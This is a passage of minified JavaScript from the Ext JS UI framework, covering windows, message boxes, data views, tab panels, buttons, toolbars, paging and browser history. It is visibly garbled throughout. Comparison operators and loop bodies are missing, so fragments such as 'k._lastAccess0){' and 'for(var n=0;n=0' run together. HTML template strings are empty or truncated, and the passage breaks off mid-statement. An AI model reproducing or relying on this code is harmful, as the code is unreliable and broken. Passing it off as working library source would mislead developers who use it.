this},clearAnchor:function(){if(this.anchorTarget){Ext.EventManager.removeResizeListener(this.doAnchor,this);Ext.EventManager.un(window,"scroll",this.doAnchor,this);delete this.anchorTarget}return this},toFront:function(a){if(this.manager.bringToFront(this)){if(!a||!a.getTarget().focus){this.focus()}}return this},setActive:function(a){if(a){if(!this.maximized){this.el.enableShadow(true)}this.fireEvent("activate",this)}else{this.el.disableShadow();this.fireEvent("deactivate",this)}},toBack:function(){this.manager.sendToBack(this);return this},center:function(){var a=this.el.getAlignToXY(this.container,"c-c");this.setPagePosition(a[0],a[1]);return this}});Ext.reg("window",Ext.Window);Ext.Window.DD=Ext.extend(Ext.dd.DD,{constructor:function(a){this.win=a;Ext.Window.DD.superclass.constructor.call(this,a.el.id,"WindowDD-"+a.id);this.setHandleElId(a.header.id);this.scroll=false},moveOnly:true,headerOffsets:[100,25],startDrag:function(){var a=this.win;this.proxy=a.ghost(a.initialConfig.cls);if(a.constrain!==false){var c=a.el.shadowOffset;this.constrainTo(a.container,{right:c,left:c,bottom:c})}else{if(a.constrainHeader!==false){var b=this.proxy.getSize();this.constrainTo(a.container,{right:-(b.width-this.headerOffsets[0]),bottom:-(b.height-this.headerOffsets[1])})}}},b4Drag:Ext.emptyFn,onDrag:function(a){this.alignElWithMouse(this.proxy,a.getPageX(),a.getPageY())},endDrag:function(a){this.win.unghost();this.win.saveState()}});Ext.WindowGroup=function(){var g={};var d=[];var e=null;var c=function(k,i){return(!k._lastAccess||k._lastAccess0){m.sort(c);var l=m[0].manager.zseed;for(var n=0;n=0;--k){if(!d[k].hidden){b(d[k]);return}}b(null)};return{zseed:9000,register:function(i){if(i.manager){i.manager.unregister(i)}i.manager=this;g[i.id]=i;d.push(i);i.on("hide",a)},unregister:function(i){delete i.manager;delete g[i.id];i.un("hide",a);d.remove(i)},get:function(i){return typeof i=="object"?i:g[i]},bringToFront:function(i){i=this.get(i);if(i!=e){i._lastAccess=new Date().getTime();h();return true}return false},sendToBack:function(i){i=this.get(i);i._lastAccess=-(new Date().getTime());h();return i},hideAll:function(){for(var i in g){if(g[i]&&typeof g[i]!="function"&&g[i].isVisible()){g[i].hide()}}},getActive:function(){return e},getBy:function(m,l){var n=[];for(var k=d.length-1;k>=0;--k){var o=d[k];if(m.call(l||o,o)!==false){n.push(o)}}return n},each:function(k,i){for(var l in g){if(g[l]&&typeof g[l]!="function"){if(k.call(i||g[l],g[l])===false){return}}}}}};Ext.WindowMgr=new Ext.WindowGroup();Ext.MessageBox=function(){var v,b,r,u,h,m,t,a,o,q,k,g,s,w,p,i="",d="",n=["ok","yes","no","cancel"];var c=function(y){s[y].blur();if(v.isVisible()){v.hide();x();Ext.callback(b.fn,b.scope||window,[y,w.dom.value,b],1)}};var x=function(){if(b&&b.cls){v.el.removeClass(b.cls)}o.reset()};var e=function(A,y,z){if(b&&b.closable!==false){v.hide();x()}if(z){z.stopEvent()}};var l=function(y){var A=0,z;if(!y){Ext.each(n,function(B){s[B].hide()});return A}v.footer.dom.style.display="";Ext.iterate(s,function(B,C){z=y[B];if(z){C.show();C.setText(Ext.isString(z)?z:Ext.MessageBox.buttonText[B]);A+=C.getEl().getWidth()+15}else{C.hide()}});return A};return{getDialog:function(y){if(!v){var A=[];s={};Ext.each(n,function(B){A.push(s[B]=new Ext.Button({text:this.buttonText[B],handler:c.createCallback(B),hideMode:"offsets"}))},this);v=new Ext.Window({autoCreate:true,title:y,resizable:false,constrain:true,constrainHeader:true,minimizable:false,maximizable:false,stateful:false,modal:true,shim:true,buttonAlign:"center",width:400,height:100,minHeight:80,plain:true,footer:true,closable:true,close:function(){if(b&&b.buttons&&b.buttons.no&&!b.buttons.cancel){c("no")}else{c("cancel")}},fbar:new Ext.Toolbar({items:A,enableOverflow:false})});v.render(document.body);v.getEl().addClass("x-window-dlg");r=v.mask;h=v.body.createChild({html:'

    '});k=Ext.get(h.dom.firstChild);var z=h.dom.childNodes[1];m=Ext.get(z.firstChild);t=Ext.get(z.childNodes[2].firstChild);t.enableDisplayMode();t.addKeyListener([10,13],function(){if(v.isVisible()&&b&&b.buttons){if(b.buttons.ok){c("ok")}else{if(b.buttons.yes){c("yes")}}}});a=Ext.get(z.childNodes[2].childNodes[1]);a.enableDisplayMode();o=new Ext.ProgressBar({renderTo:h});h.createChild({cls:"x-clear"})}return v},updateText:function(B){if(!v.isVisible()&&!b.width){v.setSize(this.maxWidth,100)}m.update(B?B+" ":" ");var z=d!=""?(k.getWidth()+k.getMargins("lr")):0,D=m.getWidth()+m.getMargins("lr"),A=v.getFrameWidth("lr"),C=v.body.getFrameWidth("lr"),y;y=Math.max(Math.min(b.width||z+D+A+C,b.maxWidth||this.maxWidth),Math.max(b.minWidth||this.minWidth,p||0));if(b.prompt===true){w.setWidth(y-z-A-C)}if(b.progress===true||b.wait===true){o.setSize(y-z-A-C)}if(Ext.isIE&&y==p){y+=4}m.update(B||" ");v.setSize(y,"auto").center();return this},updateProgress:function(z,y,A){o.updateProgress(z,y);if(A){this.updateText(A)}return this},isVisible:function(){return v&&v.isVisible()},hide:function(){var y=v?v.activeGhost:null;if(this.isVisible()||y){v.hide();x();if(y){v.unghost(false,false)}}return this},show:function(B){if(this.isVisible()){this.hide()}b=B;var C=this.getDialog(b.title||" ");C.setTitle(b.title||" ");var y=(b.closable!==false&&b.progress!==true&&b.wait!==true);C.tools.close.setDisplayed(y);w=t;b.prompt=b.prompt||(b.multiline?true:false);if(b.prompt){if(b.multiline){t.hide();a.show();a.setHeight(Ext.isNumber(b.multiline)?b.multiline:this.defaultTextHeight);w=a}else{t.show();a.hide()}}else{t.hide();a.hide()}w.dom.value=b.value||"";if(b.prompt){C.focusEl=w}else{var A=b.buttons;var z=null;if(A&&A.ok){z=s.ok}else{if(A&&A.yes){z=s.yes}}if(z){C.focusEl=z}}if(Ext.isDefined(b.iconCls)){C.setIconClass(b.iconCls)}this.setIcon(Ext.isDefined(b.icon)?b.icon:i);p=l(b.buttons);o.setVisible(b.progress===true||b.wait===true);this.updateProgress(0,b.progressText);this.updateText(b.msg);if(b.cls){C.el.addClass(b.cls)}C.proxyDrag=b.proxyDrag===true;C.modal=b.modal!==false;C.mask=b.modal!==false?r:false;if(!C.isVisible()){document.body.appendChild(v.el.dom);C.setAnimateTarget(b.animEl);C.on("show",function(){if(y===true){C.keyMap.enable()}else{C.keyMap.disable()}},this,{single:true});C.show(b.animEl)}if(b.wait===true){o.wait(b.waitConfig)}return this},setIcon:function(y){if(!v){i=y;return}i=undefined;if(y&&y!=""){k.removeClass("x-hidden");k.replaceClass(d,y);h.addClass("x-dlg-icon");d=y}else{k.replaceClass(d,"x-hidden");h.removeClass("x-dlg-icon");d=""}return this},progress:function(A,z,y){this.show({title:A,msg:z,buttons:false,progress:true,closable:false,minWidth:this.minProgressWidth,progressText:y});return this},wait:function(A,z,y){this.show({title:z,msg:A,buttons:false,closable:false,wait:true,modal:true,minWidth:this.minProgressWidth,waitConfig:y});return this},alert:function(B,A,z,y){this.show({title:B,msg:A,buttons:this.OK,fn:z,scope:y,minWidth:this.minWidth});return this},confirm:function(B,A,z,y){this.show({title:B,msg:A,buttons:this.YESNO,fn:z,scope:y,icon:this.QUESTION,minWidth:this.minWidth});return this},prompt:function(D,C,A,z,y,B){this.show({title:D,msg:C,buttons:this.OKCANCEL,fn:A,minWidth:this.minPromptWidth,scope:z,prompt:true,multiline:y,value:B});return this},OK:{ok:true},CANCEL:{cancel:true},OKCANCEL:{ok:true,cancel:true},YESNO:{yes:true,no:true},YESNOCANCEL:{yes:true,no:true,cancel:true},INFO:"ext-mb-info",WARNING:"ext-mb-warning",QUESTION:"ext-mb-question",ERROR:"ext-mb-error",defaultTextHeight:75,maxWidth:600,minWidth:100,minProgressWidth:250,minPromptWidth:250,buttonText:{ok:"OK",cancel:"Cancel",yes:"Yes",no:"No"}}}();Ext.Msg=Ext.MessageBox;Ext.dd.PanelProxy=Ext.extend(Object,{constructor:function(a,b){this.panel=a;this.id=this.panel.id+"-ddproxy";Ext.apply(this,b)},insertProxy:true,setStatus:Ext.emptyFn,reset:Ext.emptyFn,update:Ext.emptyFn,stop:Ext.emptyFn,sync:Ext.emptyFn,getEl:function(){return this.ghost},getGhost:function(){return this.ghost},getProxy:function(){return this.proxy},hide:function(){if(this.ghost){if(this.proxy){this.proxy.remove();delete this.proxy}this.panel.el.dom.style.display="";this.ghost.remove();delete this.ghost}},show:function(){if(!this.ghost){this.ghost=this.panel.createGhost(this.panel.initialConfig.cls,undefined,Ext.getBody());this.ghost.setXY(this.panel.el.getXY());if(this.insertProxy){this.proxy=this.panel.el.insertSibling({cls:"x-panel-dd-spacer"});this.proxy.setSize(this.panel.getSize())}this.panel.el.dom.style.display="none"}},repair:function(b,c,a){this.hide();if(typeof c=="function"){c.call(a||this)}},moveProxy:function(a,b){if(this.proxy){a.insertBefore(this.proxy.dom,b)}}});Ext.Panel.DD=Ext.extend(Ext.dd.DragSource,{constructor:function(b,a){this.panel=b;this.dragData={panel:b};this.proxy=new Ext.dd.PanelProxy(b,a);Ext.Panel.DD.superclass.constructor.call(this,b.el,a);var d=b.header,c=b.body;if(d){this.setHandleElId(d.id);c=b.header}c.setStyle("cursor","move");this.scroll=false},showFrame:Ext.emptyFn,startDrag:Ext.emptyFn,b4StartDrag:function(a,b){this.proxy.show()},b4MouseDown:function(b){var a=b.getPageX(),c=b.getPageY();this.autoOffset(a,c)},onInitDrag:function(a,b){this.onStartDrag(a,b);return true},createFrame:Ext.emptyFn,getDragEl:function(a){return this.proxy.ghost.dom},endDrag:function(a){this.proxy.hide();this.panel.saveState()},autoOffset:function(a,b){a-=this.startPageX;b-=this.startPageY;this.setDelta(a,b)}});Ext.state.Provider=Ext.extend(Ext.util.Observable,{constructor:function(){this.addEvents("statechange");this.state={};Ext.state.Provider.superclass.constructor.call(this)},get:function(b,a){return typeof this.state[b]=="undefined"?a:this.state[b]},clear:function(a){delete this.state[a];this.fireEvent("statechange",this,a,null)},set:function(a,b){this.state[a]=b;this.fireEvent("statechange",this,a,b)},decodeValue:function(b){var e=/^(a|n|d|b|s|o|e)\:(.*)$/,h=e.exec(unescape(b)),d,c,a,g;if(!h||!h[1]){return}c=h[1];a=h[2];switch(c){case"e":return null;case"n":return parseFloat(a);case"d":return new Date(Date.parse(a));case"b":return(a=="1");case"a":d=[];if(a!=""){Ext.each(a.split("^"),function(i){d.push(this.decodeValue(i))},this)}return d;case"o":d={};if(a!=""){Ext.each(a.split("^"),function(i){g=i.split("=");d[g[0]]=this.decodeValue(g[1])},this)}return d;default:return a}},encodeValue:function(c){var b,g="",e=0,a,d;if(c==null){return"e:1"}else{if(typeof c=="number"){b="n:"+c}else{if(typeof c=="boolean"){b="b:"+(c?"1":"0")}else{if(Ext.isDate(c)){b="d:"+c.toGMTString()}else{if(Ext.isArray(c)){for(a=c.length;e-1){var e=this.isSelected(b),c=this.all.elements[b],d=this.bufferRender([a],b)[0];this.all.replaceElement(b,d,true);if(e){this.selected.replaceElement(c,d);this.all.item(b).addClass(this.selectedClass)}this.updateIndexes(b,b)}},onAdd:function(g,d,e){if(this.all.getCount()===0){this.refresh();return}var c=this.bufferRender(d,e),h,b=this.all.elements;if(e0){if(!b){this.selected.removeClass(this.selectedClass)}this.selected.clear();this.last=false;if(!a){this.fireEvent("selectionchange",this,this.selected.elements)}}},isSelected:function(a){return this.selected.contains(this.getNode(a))},deselect:function(a){if(this.isSelected(a)){a=this.getNode(a);this.selected.removeElement(a);if(this.last==a.viewIndex){this.last=false}Ext.fly(a).removeClass(this.selectedClass);this.fireEvent("selectionchange",this,this.selected.elements)}},select:function(d,g,b){if(Ext.isArray(d)){if(!g){this.clearSelections(true)}for(var c=0,a=d.length;c=a&&d[c];c--){b.push(d[c])}}return b},indexOf:function(a){a=this.getNode(a);if(Ext.isNumber(a.viewIndex)){return a.viewIndex}return this.all.indexOf(a)},onBeforeLoad:function(){if(this.loadingText){this.clearSelections(false,true);this.getTemplateTarget().update('
    '+this.loadingText+"
    ");this.all.clear()}},onDestroy:function(){this.all.clear();this.selected.clear();Ext.DataView.superclass.onDestroy.call(this);this.bindStore(null)}});Ext.DataView.prototype.setStore=Ext.DataView.prototype.bindStore;Ext.reg("dataview",Ext.DataView);Ext.list.ListView=Ext.extend(Ext.DataView,{itemSelector:"dl",selectedClass:"x-list-selected",overClass:"x-list-over",scrollOffset:undefined,columnResize:true,columnSort:true,maxColumnWidth:Ext.isIE?99:100,initComponent:function(){if(this.columnResize){this.colResizer=new Ext.list.ColumnResizer(this.colResizer);this.colResizer.init(this)}if(this.columnSort){this.colSorter=new Ext.list.Sorter(this.columnSort);this.colSorter.init(this)}if(!this.internalTpl){this.internalTpl=new Ext.XTemplate('
    ','','
    ',"{header}","
    ","
    ",'
    ',"
    ",'
    ',"
    ")}if(!this.tpl){this.tpl=new Ext.XTemplate('',"
    ",'','
    ',' class="{cls}">',"{[values.tpl.apply(parent)]}","
    ","
    ",'
    ',"
    ","
    ")}var l=this.columns,h=0,k=0,m=l.length,b=[];for(var g=0;gthis.maxColumnWidth){n.width-=(h-this.maxColumnWidth)/100}k++}b.push(n)}l=this.columns=b;if(k10)){b.style.width=d;g.style.width=d}else{b.style.width=c+"px";g.style.width=c+"px";setTimeout(function(){if((a.offsetWidth-a.clientWidth)>10){b.style.width=d;g.style.width=d}},10)}}if(Ext.isNumber(e)){a.style.height=Math.max(0,e-g.parentNode.offsetHeight)+"px"}},updateIndexes:function(){Ext.list.ListView.superclass.updateIndexes.apply(this,arguments);this.verifyInternalSize()},findHeaderIndex:function(g){g=g.dom||g;var a=g.parentNode,d=a.parentNode.childNodes,b=0,e;for(;e=d[b];b++){if(e==a){return b}}return -1},setHdWidths:function(){var d=this.innerHd.dom.getElementsByTagName("div"),c=0,b=this.columns,a=b.length;for(;c','','{text}',"");d.disableFormats=true;d.compile();Ext.TabPanel.prototype.itemTpl=d}this.items.each(this.initTab,this)},afterRender:function(){Ext.TabPanel.superclass.afterRender.call(this);if(this.autoTabs){this.readTabs(false)}if(this.activeTab!==undefined){var a=Ext.isObject(this.activeTab)?this.activeTab:this.items.get(this.activeTab);delete this.activeTab;this.setActiveTab(a)}},initEvents:function(){Ext.TabPanel.superclass.initEvents.call(this);this.mon(this.strip,{scope:this,mousedown:this.onStripMouseDown,contextmenu:this.onStripContextMenu});if(this.enableTabScroll){this.mon(this.strip,"mousewheel",this.onWheel,this)}},findTargets:function(c){var b=null,a=c.getTarget("li:not(.x-tab-edge)",this.strip);if(a){b=this.getComponent(a.id.split(this.idDelimiter)[1]);if(b.disabled){return{close:null,item:null,el:null}}}return{close:c.getTarget(".x-tab-strip-close",this.strip),item:b,el:a}},onStripMouseDown:function(b){if(b.button!==0){return}b.preventDefault();var a=this.findTargets(b);if(a.close){if(a.item.fireEvent("beforeclose",a.item)!==false){a.item.fireEvent("close",a.item);this.remove(a.item)}return}if(a.item&&a.item!=this.activeTab){this.setActiveTab(a.item)}},onStripContextMenu:function(b){b.preventDefault();var a=this.findTargets(b);if(a.item){this.fireEvent("contextmenu",this,a.item,b)}},readTabs:function(d){if(d===true){this.items.each(function(h){this.remove(h)},this)}var c=this.el.query(this.autoTabSelector);for(var b=0,a=c.length;b0){this.setActiveTab(0)}else{this.setActiveTab(null)}}}if(!this.destroying){this.delegateUpdates()}},onBeforeShowItem:function(a){if(a!=this.activeTab){this.setActiveTab(a);return false}},onItemDisabled:function(b){var a=this.getTabEl(b);if(a){Ext.fly(a).addClass("x-item-disabled")}this.stack.remove(b)},onItemEnabled:function(b){var a=this.getTabEl(b);if(a){Ext.fly(a).removeClass("x-item-disabled")}},onItemTitleChanged:function(b){var a=this.getTabEl(b);if(a){Ext.fly(a).child("span.x-tab-strip-text",true).innerHTML=b.title}},onItemIconChanged:function(d,a,c){var b=this.getTabEl(d);if(b){b=Ext.get(b);b.child("span.x-tab-strip-text").replaceClass(c,a);b[Ext.isEmpty(a)?"removeClass":"addClass"]("x-tab-with-icon")}},getTabEl:function(a){var b=this.getComponent(a);return b?b.tabEl:null},onResize:function(){Ext.TabPanel.superclass.onResize.apply(this,arguments);this.delegateUpdates()},beginUpdate:function(){this.suspendUpdates=true},endUpdate:function(){this.suspendUpdates=false;this.delegateUpdates()},hideTabStripItem:function(b){b=this.getComponent(b);var a=this.getTabEl(b);if(a){a.style.display="none";this.delegateUpdates()}this.stack.remove(b)},unhideTabStripItem:function(b){b=this.getComponent(b);var a=this.getTabEl(b);if(a){a.style.display="";this.delegateUpdates()}},delegateUpdates:function(){var a=this.rendered;if(this.suspendUpdates){return}if(this.resizeTabs&&a){this.autoSizeTabs()}if(this.enableTabScroll&&a){this.autoScrollTabs()}},autoSizeTabs:function(){var h=this.items.length,b=this.tabPosition!="bottom"?"header":"footer",c=this[b].dom.offsetWidth,a=this[b].dom.clientWidth;if(!this.resizeTabs||h<1||!a){return}var l=Math.max(Math.min(Math.floor((a-4)/h)-this.tabMargin,this.tabWidth),this.minTabWidth);this.lastTabWidth=l;var n=this.strip.query("li:not(.x-tab-edge)");for(var e=0,k=n.length;e20?c:20);if(!this.scrolling){if(!this.scrollLeft){this.createScrollers()}else{this.scrollLeft.show();this.scrollRight.show()}}this.scrolling=true;if(i>(a-c)){e.scrollLeft=a-c}else{this.scrollToTab(this.activeTab,false)}this.updateScrollButtons()}},createScrollers:function(){this.pos.addClass("x-tab-scrolling-"+this.tabPosition);var c=this.stripWrap.dom.offsetHeight;var a=this.pos.insertFirst({cls:"x-tab-scroller-left"});a.setHeight(c);a.addClassOnOver("x-tab-scroller-left-over");this.leftRepeater=new Ext.util.ClickRepeater(a,{interval:this.scrollRepeatInterval,handler:this.onScrollLeft,scope:this});this.scrollLeft=a;var b=this.pos.insertFirst({cls:"x-tab-scroller-right"});b.setHeight(c);b.addClassOnOver("x-tab-scroller-right-over");this.rightRepeater=new Ext.util.ClickRepeater(b,{interval:this.scrollRepeatInterval,handler:this.onScrollRight,scope:this});this.scrollRight=b},getScrollWidth:function(){return this.edge.getOffsetsTo(this.stripWrap)[0]+this.getScrollPos()},getScrollPos:function(){return parseInt(this.stripWrap.dom.scrollLeft,10)||0},getScrollArea:function(){return parseInt(this.stripWrap.dom.clientWidth,10)||0},getScrollAnim:function(){return{duration:this.scrollDuration,callback:this.updateScrollButtons,scope:this}},getScrollIncrement:function(){return this.scrollIncrement||(this.resizeTabs?this.lastTabWidth+2:100)},scrollToTab:function(e,a){if(!e){return}var c=this.getTabEl(e),h=this.getScrollPos(),d=this.getScrollArea(),g=Ext.fly(c).getOffsetsTo(this.stripWrap)[0]+h,b=g+c.offsetWidth;if(g(h+d)){this.scrollTo(b-d,a)}}},scrollTo:function(b,a){this.stripWrap.scrollTo("left",b,a?this.getScrollAnim():false);if(!a){this.updateScrollButtons()}},onWheel:function(g){var h=g.getWheelDelta()*this.wheelIncrement*-1;g.stopEvent();var i=this.getScrollPos(),c=i+h,a=this.getScrollWidth()-this.getScrollArea();var b=Math.max(0,Math.min(a,c));if(b!=i){this.scrollTo(b,false)}},onScrollRight:function(){var a=this.getScrollWidth()-this.getScrollArea(),c=this.getScrollPos(),b=Math.min(a,c+this.getScrollIncrement());if(b!=c){this.scrollTo(b,this.animScroll)}},onScrollLeft:function(){var b=this.getScrollPos(),a=Math.max(0,b-this.getScrollIncrement());if(a!=b){this.scrollTo(a,this.animScroll)}},updateScrollButtons:function(){var a=this.getScrollPos();this.scrollLeft[a===0?"addClass":"removeClass"]("x-tab-scroller-left-disabled");this.scrollRight[a>=(this.getScrollWidth()-this.getScrollArea())?"addClass":"removeClass"]("x-tab-scroller-right-disabled")},beforeDestroy:function(){Ext.destroy(this.leftRepeater,this.rightRepeater);this.deleteMembers("strip","edge","scrollLeft","scrollRight","stripWrap");this.activeTab=null;Ext.TabPanel.superclass.beforeDestroy.apply(this)}});Ext.reg("tabpanel",Ext.TabPanel);Ext.TabPanel.prototype.activate=Ext.TabPanel.prototype.setActiveTab;Ext.TabPanel.AccessStack=function(){var a=[];return{add:function(b){a.push(b);if(a.length>10){a.shift()}},remove:function(e){var d=[];for(var c=0,b=a.length;c','  ','  ','  ',"");Ext.Button.buttonTemplate.compile()}this.template=Ext.Button.buttonTemplate}var b,d=this.getTemplateArgs();if(a){b=this.template.insertBefore(a,d,true)}else{b=this.template.append(c,d,true)}this.btnEl=b.child(this.buttonSelector);this.mon(this.btnEl,{scope:this,focus:this.onFocus,blur:this.onBlur});this.initButtonEl(b,this.btnEl);Ext.ButtonToggleMgr.register(this)},initButtonEl:function(b,c){this.el=b;this.setIcon(this.icon);this.setText(this.text);this.setIconClass(this.iconCls);if(Ext.isDefined(this.tabIndex)){c.dom.tabIndex=this.tabIndex}if(this.tooltip){this.setTooltip(this.tooltip,true)}if(this.handleMouseEvents){this.mon(b,{scope:this,mouseover:this.onMouseOver,mousedown:this.onMouseDown})}if(this.menu){this.mon(this.menu,{scope:this,show:this.onMenuShow,hide:this.onMenuHide})}if(this.repeat){var a=new Ext.util.ClickRepeater(b,Ext.isObject(this.repeat)?this.repeat:{});this.mon(a,"click",this.onRepeatClick,this)}else{this.mon(b,this.clickEvent,this.onClick,this)}},afterRender:function(){Ext.Button.superclass.afterRender.call(this);this.useSetClass=true;this.setButtonClass();this.doc=Ext.getDoc();this.doAutoWidth()},setIconClass:function(a){this.iconCls=a;if(this.el){this.btnEl.dom.className="";this.btnEl.addClass(["x-btn-text",a||""]);this.setButtonClass()}return this},setTooltip:function(b,a){if(this.rendered){if(!a){this.clearTip()}if(Ext.isObject(b)){Ext.QuickTips.register(Ext.apply({target:this.btnEl.id},b));this.tooltip=b}else{this.btnEl.dom[this.tooltipType]=b}}else{this.tooltip=b}return this},clearTip:function(){if(Ext.isObject(this.tooltip)){Ext.QuickTips.unregister(this.btnEl)}},beforeDestroy:function(){if(this.rendered){this.clearTip()}if(this.menu&&this.destroyMenu!==false){Ext.destroy(this.btnEl,this.menu)}Ext.destroy(this.repeater)},onDestroy:function(){if(this.rendered){this.doc.un("mouseover",this.monitorMouseOver,this);this.doc.un("mouseup",this.onMouseUp,this);delete this.doc;delete this.btnEl;Ext.ButtonToggleMgr.unregister(this)}Ext.Button.superclass.onDestroy.call(this)},doAutoWidth:function(){if(this.autoWidth!==false&&this.el&&this.text&&this.width===undefined){this.el.setWidth("auto");if(Ext.isIE7&&Ext.isStrict){var a=this.btnEl;if(a&&a.getWidth()>20){a.clip();a.setWidth(Ext.util.TextMetrics.measure(a,this.text).width+a.getFrameWidth("lr"))}}if(this.minWidth){if(this.el.getWidth()a}else{return c.getPageY()>this.btnEl.getRegion().bottom}},onClick:function(b,a){b.preventDefault();if(!this.disabled){if(this.isClickOnArrow(b)){if(this.menu&&!this.menu.isVisible()&&!this.ignoreNextClick){this.showMenu()}this.fireEvent("arrowclick",this,b);if(this.arrowHandler){this.arrowHandler.call(this.scope||this,this,b)}}else{this.doToggle();this.fireEvent("click",this,b);if(this.handler){this.handler.call(this.scope||this,this,b)}}}},isMenuTriggerOver:function(a){return this.menu&&a.target.tagName==this.arrowSelector},isMenuTriggerOut:function(b,a){return this.menu&&b.target.tagName!=this.arrowSelector}});Ext.reg("splitbutton",Ext.SplitButton);Ext.CycleButton=Ext.extend(Ext.SplitButton,{getItemText:function(a){if(a&&this.showText===true){var b="";if(this.prependText){b+=this.prependText}b+=a.text;return b}return undefined},setActiveItem:function(c,a){if(!Ext.isObject(c)){c=this.menu.getComponent(c)}if(c){if(!this.rendered){this.text=this.getItemText(c);this.iconCls=c.iconCls}else{var b=this.getItemText(c);if(b){this.setText(b)}this.setIconClass(c.iconCls)}this.activeItem=c;if(!c.checked){c.setChecked(true,false)}if(this.forceIcon){this.setIconClass(this.forceIcon)}if(!a){this.fireEvent("change",this,c)}}},getActiveItem:function(){return this.activeItem},initComponent:function(){this.addEvents("change");if(this.changeHandler){this.on("change",this.changeHandler,this.scope||this);delete this.changeHandler}this.itemCount=this.items.length;this.menu={cls:"x-cycle-menu",items:[]};var a=0;Ext.each(this.items,function(c,b){Ext.apply(c,{group:c.group||this.id,itemIndex:b,checkHandler:this.checkHandler,scope:this,checked:c.checked||false});this.menu.items.push(c);if(c.checked){a=b}},this);Ext.CycleButton.superclass.initComponent.call(this);this.on("click",this.toggleSelected,this);this.setActiveItem(a,true)},checkHandler:function(a,b){if(b){this.setActiveItem(a)}},toggleSelected:function(){var a=this.menu;a.render();if(!a.hasLayout){a.doLayout()}var d,b;for(var c=1;c"){b=new a.Fill()}else{b=new a.TextItem(b)}}}this.applyDefaults(b)}else{if(b.isFormField||b.render){b=this.createComponent(b)}else{if(b.tag){b=new a.Item({autoEl:b})}else{if(b.tagName){b=new a.Item({el:b})}else{if(Ext.isObject(b)){b=b.xtype?this.createComponent(b):this.constructButton(b)}}}}}return b},applyDefaults:function(e){if(!Ext.isString(e)){e=Ext.Toolbar.superclass.applyDefaults.call(this,e);var b=this.internalDefaults;if(e.events){Ext.applyIf(e.initialConfig,b);Ext.apply(e,b)}else{Ext.applyIf(e,b)}}return e},addSeparator:function(){return this.add(new a.Separator())},addSpacer:function(){return this.add(new a.Spacer())},addFill:function(){this.add(new a.Fill())},addElement:function(b){return this.addItem(new a.Item({el:b}))},addItem:function(b){return this.add.apply(this,arguments)},addButton:function(c){if(Ext.isArray(c)){var e=[];for(var d=0,b=c.length;d");this.items.push(this.displayItem=new a.TextItem({}))}Ext.PagingToolbar.superclass.initComponent.call(this);this.addEvents("change","beforechange");this.on("afterlayout",this.onFirstLayout,this,{single:true});this.cursor=0;this.bindStore(this.store,true)},onFirstLayout:function(){if(this.dsLoaded){this.onLoad.apply(this,this.dsLoaded)}},updateInfo:function(){if(this.displayItem){var b=this.store.getCount();var c=b==0?this.emptyMsg:String.format(this.displayMsg,this.cursor+1,this.cursor+b,this.store.getTotalCount());this.displayItem.setText(c)}},onLoad:function(b,e,k){if(!this.rendered){this.dsLoaded=[b,e,k];return}var g=this.getParams();this.cursor=(k.params&&k.params[g.start])?k.params[g.start]:0;var i=this.getPageData(),c=i.activePage,h=i.pages;this.afterTextItem.setText(String.format(this.afterPageText,i.pages));this.inputItem.setValue(c);this.first.setDisabled(c==1);this.prev.setDisabled(c==1);this.next.setDisabled(c==h);this.last.setDisabled(c==h);this.refresh.enable();this.updateInfo();this.fireEvent("change",this,i)},getPageData:function(){var b=this.store.getTotalCount();return{total:b,activePage:Math.ceil((this.cursor+this.pageSize)/this.pageSize),pages:b=1&g<=l.pages){i.setValue(g)}}}}}},getParams:function(){return this.paramNames||this.store.paramNames},beforeLoad:function(){if(this.rendered&&this.refresh){this.refresh.disable()}},doLoad:function(d){var c={},b=this.getParams();c[b.start]=d;c[b.limit]=this.pageSize;if(this.fireEvent("beforechange",this,c)!==false){this.store.load({params:c})}},moveFirst:function(){this.doLoad(0)},movePrevious:function(){this.doLoad(Math.max(0,this.cursor-this.pageSize))},moveNext:function(){this.doLoad(this.cursor+this.pageSize)},moveLast:function(){var c=this.store.getTotalCount(),b=c%this.pageSize;this.doLoad(b?(c-b):c-this.pageSize)},doRefresh:function(){this.doLoad(this.cursor)},bindStore:function(c,d){var b;if(!d&&this.store){if(c!==this.store&&this.store.autoDestroy){this.store.destroy()}else{this.store.un("beforeload",this.beforeLoad,this);this.store.un("load",this.onLoad,this);this.store.un("exception",this.onLoadError,this)}if(!c){this.store=null}}if(c){c=Ext.StoreMgr.lookup(c);c.on({scope:this,beforeload:this.beforeLoad,load:this.onLoad,exception:this.onLoadError});b=true}this.store=c;if(b){this.onLoad(c,null,{})}},unbind:function(b){this.bindStore(null)},bind:function(b){this.bindStore(b)},onDestroy:function(){this.bindStore(null);Ext.PagingToolbar.superclass.onDestroy.call(this)}})})();Ext.reg("paging",Ext.PagingToolbar);Ext.History=(function(){var e,c;var l=false;var d;function g(){var m=location.href,n=m.indexOf("#");return n>=0?m.substr(n+1):null}function a(){c.value=d}function h(m){d=m;Ext.History.fireEvent("change",m)}function i(n){var m=['
    ',Ext.util.Format.htmlEncode(n),"
    "].join("");try{var p=e.contentWindow.document;p.open();p.write(m);p.close();return true}catch(o){return false}}function b(){if(!e.contentWindow||!e.contentWindow.document){setTimeout(b,10);return}var p=e.contentWindow.document;var n=p.getElementById("state");var m=n?n.innerText:null;var o=g();setInterval(function(){p=e.contentWindow.document;n=p.getElementById("state");var r=n?n.innerText:null;var q=g();if(r!==m){m=r;h(m);top.location.hash=m;o=m;a()}else{if(q!==o){o=q;i(q)}}},50);l=true;Ext.History.fireEvent("ready",Ext.History)}function k(){d=c.value?c.value:g();if(Ext.isIE){b()}else{var m=g();setInterval(function(){var n=g();if(n!==m){m=n;h(m);a()}},50);l=true;Ext.History.fireEvent("ready",Ext.History)}}return{fieldId:"x-history-field",iframeId:"x-history-frame",events:{},init:function(n,m){if(l){Ext.callback(n,m,[this]);return}if(!Ext.isReady){Ext.onReady(function(){Ext.History.init(n,m)});return}c=Ext.getDom(Ext.History.fieldId);if(Ext.isIE){e=Ext.getDom(Ext.History.iframeId)}this.addEvents("ready","change");if(n){this.on("ready",n,m,{single:true})}k()},add:function(m,n){if(n!==false){if(this.getToken()==m){return true}}if(Ext.isIE){return i(m)}else{top.location.hash=m;return true}},back:function(){history.go(-1)},forward:function(){history.go(1)},getToken:function(){return l?d:g()}}})();Ext.apply(Ext.History,new 